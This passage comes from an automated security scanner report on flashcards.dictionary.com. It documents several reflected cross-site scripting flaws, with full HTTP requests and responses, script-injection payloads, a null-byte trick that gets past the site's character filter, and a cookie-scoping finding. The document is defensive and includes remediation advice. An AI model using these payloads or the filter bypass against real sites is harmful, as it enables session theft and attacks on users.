Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:10 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=TYeqb0LreVxhb%2F7Z; expires=Sat, 23-Mar-2013 17:32:10 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:10 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:10 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=TYt%2FmELreURtnPE+; expires=Thu, 24-Mar-2011 18:02:10 GMT; path=/; domain=.dictionary.com
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: keep-alive
Content-Length: 41531

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:fb="http://www.facebook.com/2010/fbml"
xmlns:og="http://openg
...[SNIP]...
<link rel="canonical" href="http://flashcards.dictionary.com/?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-fb603"><script>alert(1)</script>19ae98427f2&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926" />
...[SNIP]...

1.7. http://flashcards.dictionary.com/ [__utmz parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://flashcards.dictionary.com
Path:   /

Issue detail

The value of the __utmz request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c0441"><script>alert(1)</script>04524556f19 was submitted in the __utmz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)c0441"><script>alert(1)</script>04524556f19&__utmv=-&__utmk=99520926 HTTP/1.1
Host: flashcards.dictionary.com
Proxy-Connection: keep-alive
Referer: http://www.reference.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Thu, 24 Mar 2011 17:32:13 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: fc_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%222d3983f287d4b2eb5f17730df9684d13%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987933%22%3B%7Dce7a7fee20b8630bd2541d05baadbdc2; expires=Thu, 24-Mar-2011 19:32:13 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:13 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:13 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:13 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=TYeqb0LreVxhb%2F7Z; expires=Sat, 23-Mar-2013 17:32:13 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:13 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:13 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=TYt%2FmELreURtnPE+; expires=Thu, 24-Mar-2011 18:02:13 GMT; path=/; domain=.dictionary.com
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: keep-alive
Content-Length: 41482

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:fb="http://www.facebook.com/2010/fbml"
xmlns:og="http://openg
...[SNIP]...
"http://flashcards.dictionary.com/?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)c0441"><script>alert(1)</script>04524556f19&__utmv=-&__utmk=99520926" />
...[SNIP]...

1.8. http://flashcards.dictionary.com/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://flashcards.dictionary.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00ee1eb"><script>alert(1)</script>c3e5e0f1880 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as ee1eb"><script>alert(1)</script>c3e5e0f1880 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926&%00ee1eb"><script>alert(1)</script>c3e5e0f1880=1 HTTP/1.1
Host: flashcards.dictionary.com
Proxy-Connection: keep-alive
Referer: http://www.reference.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Thu, 24 Mar 2011 17:32:47 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: fc_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%229aa1a1c88f4660abba653cedff237437%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987967%22%3B%7D563784f6e5c42bd816fcf15768e948e2; expires=Thu, 24-Mar-2011 19:32:47 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:47 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:47 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:47 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=TYeqb0LreVxhb%2F7Z; expires=Sat, 23-Mar-2013 17:32:47 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:47 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:47 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=TYt%2FmELreURtnPE+; expires=Thu, 24-Mar-2011 18:02:47 GMT; path=/; domain=.dictionary.com
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: keep-alive
Content-Length: 41522

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:fb="http://www.facebook.com/2010/fbml"
xmlns:og="http://openg
...[SNIP]...
.com/?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926&%00ee1eb"><script>alert(1)</script>c3e5e0f1880=1" />
...[SNIP]...

1.9. http://flashcards.dictionary.com/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://flashcards.dictionary.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac6c8"><script>alert(1)</script>954dbd86111 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ac6c8"><script>alert(1)</script>954dbd86111 HTTP/1.1
Host: flashcards.dictionary.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; bid=TYeqb0LreVxhb%2F7Z; sid=TYt%2FmELreURtnPE+; wz_uid=0145D38ABB7CF7CFC0A8DECE14D761F3; wz_sid=0A4BD283B57CF7CFC0A8DECE14D761F3; wz_scnt=1; mp_super_properties=%7B%22all%22%3A%20%7B%22logged_in%22%3A%200%7D%2C%22events%22%3A%20%7B%7D%2C%22funnels%22%3A%20%7B%7D%7D; __switchTo5x=7; __unam=af928ed-12ee8ebc865-11d4cc98-1; __utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.901727063.1300987844.1300987844.1300987844.1; __utmc=1; __utmb=1.2.10.1300987844

Response

HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
Date: Thu, 24 Mar 2011 17:32:06 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: fc_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%227e17d3204f1f9e1d274b6e4478316cf9%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987926%22%3B%7D87a76fe60b8fd52047d07c12440bbc5b; expires=Thu, 24-Mar-2011 19:32:06 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:06 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:06 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:06 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=TYeqb0LreVxhb%2F7Z; expires=Sat, 23-Mar-2013 17:32:06 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:06 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:06 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=TYt%2FmELreURtnPE+; expires=Thu, 24-Mar-2011 18:02:06 GMT; path=/; domain=.dictionary.com
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: keep-alive
Content-Length: 13341

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:fb="http://www.facebook.com/2010/fbml"
xmlns:og="http://openg
...[SNIP]...
<link rel="canonical" href="http://flashcards.dictionary.com/ac6c8"><script>alert(1)</script>954dbd86111" />
...[SNIP]...

1.10. http://flashcards.dictionary.com/mydecks [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://flashcards.dictionary.com
Path:   /mydecks

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fac7e"><script>alert(1)</script>0b46d132f6e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mydecksfac7e"><script>alert(1)</script>0b46d132f6e HTTP/1.1
Host: flashcards.dictionary.com
Proxy-Connection: keep-alive
Referer: http://flashcards.dictionary.com/?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; bid=TYeqb0LreVxhb%2F7Z; sid=TYt%2FmELreURtnPE+; wz_uid=0145D38ABB7CF7CFC0A8DECE14D761F3; wz_sid=0A4BD283B57CF7CFC0A8DECE14D761F3; wz_scnt=1; mp_super_properties=%7B%22all%22%3A%20%7B%22logged_in%22%3A%200%7D%2C%22events%22%3A%20%7B%7D%2C%22funnels%22%3A%20%7B%7D%7D; __switchTo5x=7; __unam=af928ed-12ee8ebc865-11d4cc98-1; __utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.901727063.1300987844.1300987844.1300987844.1; __utmc=1; __utmb=1.2.10.1300987844

Response

HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
Date: Thu, 24 Mar 2011 17:32:51 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: fc_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22c9196f65eddd5539d439e01e8b6f1d7f%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987971%22%3B%7D1376025332e57977316ffa75f771cd49; expires=Thu, 24-Mar-2011 19:32:51 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:51 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:51 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:51 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=TYeqb0LreVxhb%2F7Z; expires=Sat, 23-Mar-2013 17:32:51 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:51 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:51 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=TYt%2FmELreURtnPE+; expires=Thu, 24-Mar-2011 18:02:51 GMT; path=/; domain=.dictionary.com
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: keep-alive
Content-Length: 13422

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:fb="http://www.facebook.com/2010/fbml"
xmlns:og="http://openg
...[SNIP]...
<link rel="canonical" href="http://flashcards.dictionary.com/mydecksfac7e"><script>alert(1)</script>0b46d132f6e" />
...[SNIP]...

1.11. http://flashcards.dictionary.com/mydecks [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://flashcards.dictionary.com
Path:   /mydecks

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0042511"><script>alert(1)</script>3383141caac was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 42511"><script>alert(1)</script>3383141caac in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /mydecks?%0042511"><script>alert(1)</script>3383141caac=1 HTTP/1.1
Host: flashcards.dictionary.com
Proxy-Connection: keep-alive
Referer: http://flashcards.dictionary.com/?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; bid=TYeqb0LreVxhb%2F7Z; sid=TYt%2FmELreURtnPE+; wz_uid=0145D38ABB7CF7CFC0A8DECE14D761F3; wz_sid=0A4BD283B57CF7CFC0A8DECE14D761F3; wz_scnt=1; mp_super_properties=%7B%22all%22%3A%20%7B%22logged_in%22%3A%200%7D%2C%22events%22%3A%20%7B%7D%2C%22funnels%22%3A%20%7B%7D%7D; __switchTo5x=7; __unam=af928ed-12ee8ebc865-11d4cc98-1; __utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.901727063.1300987844.1300987844.1300987844.1; __utmc=1; __utmb=1.2.10.1300987844

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Thu, 24 Mar 2011 17:32:44 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: fc_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%224e89c47fa3dbb73e9e43e43bb076b376%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987964%22%3B%7D256e8699accf41c37b3b0e1bab530c51; expires=Thu, 24-Mar-2011 19:32:44 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:44 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:44 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:44 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=TYeqb0LreVxhb%2F7Z; expires=Sat, 23-Mar-2013 17:32:44 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:44 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:44 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=TYt%2FmELreURtnPE+; expires=Thu, 24-Mar-2011 18:02:44 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:44 GMT; path=/; domain=.dictionary.com
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: keep-alive
Content-Length: 12107

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:fb="http://www.facebook.com/2010/fbml"
xmlns:og="http://openg
...[SNIP]...
<link rel="canonical" href="http://flashcards.dictionary.com/mydecks?%0042511"><script>alert(1)</script>3383141caac=1" />
...[SNIP]...

2. Cookie scoped to parent domain  previous  next
There are 2 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


2.1. http://flashcards.dictionary.com/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://flashcards.dictionary.com
Path:   /

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926 HTTP/1.1
Host: flashcards.dictionary.com
Proxy-Connection: keep-alive
Referer: http://www.reference.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Thu, 24 Mar 2011 17:31:11 GMT
Server: Apache/2.2.3 (CentOS)
